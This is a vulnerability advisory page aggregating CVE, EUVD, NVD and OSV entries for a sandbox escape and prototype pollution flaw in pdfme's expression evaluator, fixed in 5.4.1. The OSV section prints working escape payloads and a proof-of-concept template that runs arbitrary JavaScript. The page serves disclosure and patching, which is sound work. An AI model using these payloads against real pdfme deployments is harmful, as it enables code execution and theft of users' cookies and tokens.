pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation
cve-program · CVE-2025-53626
Publishedpdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.
Read the publisher's advisoryeuvd · EUVD-2025-21039
Publishedpdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.
Read the publisher's advisorynvd · CVE-2025-53626
Publishedpdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.
Read the publisher's advisoryosv · GHSA-54xv-94qv-2gfg
Published## Summary The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. ## Details ### 1. Sandbox Escape Leading to XSS The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods: ```javascript // Attack vector 1: Using Object.getOwnPropertyDescriptor { ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() } // Attack vector 2: Using object property access { { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() } ``` Both payloads bypass the sandbox restrictions and execute `Function("alert(location)")()`. ### 2. Prototype Pollution The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain: - `__lookupGetter__` - `__lookupSetter__` - `__defineGetter__` - `__defineSetter__` ## Impact These vulnerabilities allow attackers to: - Execute arbitrary JavaScript code in the context of the application - Steal sensitive information including cookies and tokens - Modify application behavior through prototype pollution - Potentially perform actions on behalf of users ## Proof of Concept Loading the following template in pdfme triggers `alert(location)`: ```json { "schemas": [[{ "name": "field1", "type": "text", "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }", "position": { "x": 0, "y": 0 }, "width": 100, "height": 100 }]], "basePdf": { "width": 100, "height": 100 }, "pdfmeVersion": "5.4.0" } ```
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2025-53626 · CVE overview and exploitation status
cve-program · CVE-2025-53626
- https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg
- https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85
euvd · EUVD-2025-21039
- https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg
- https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85
nvd · CVE-2025-53626
- https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85
- https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg
osv · GHSA-54xv-94qv-2gfg
- https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg
- https://nvd.nist.gov/vuln/detail/CVE-2025-53626
- https://github.com/pdfme/pdfme/pull/1117
- https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85
- https://github.com/pdfme/pdfme
- https://github.com/pdfme/pdfme/releases/tag/5.4.1
Related changes
Linked by CVE identifierNo related changes are available here.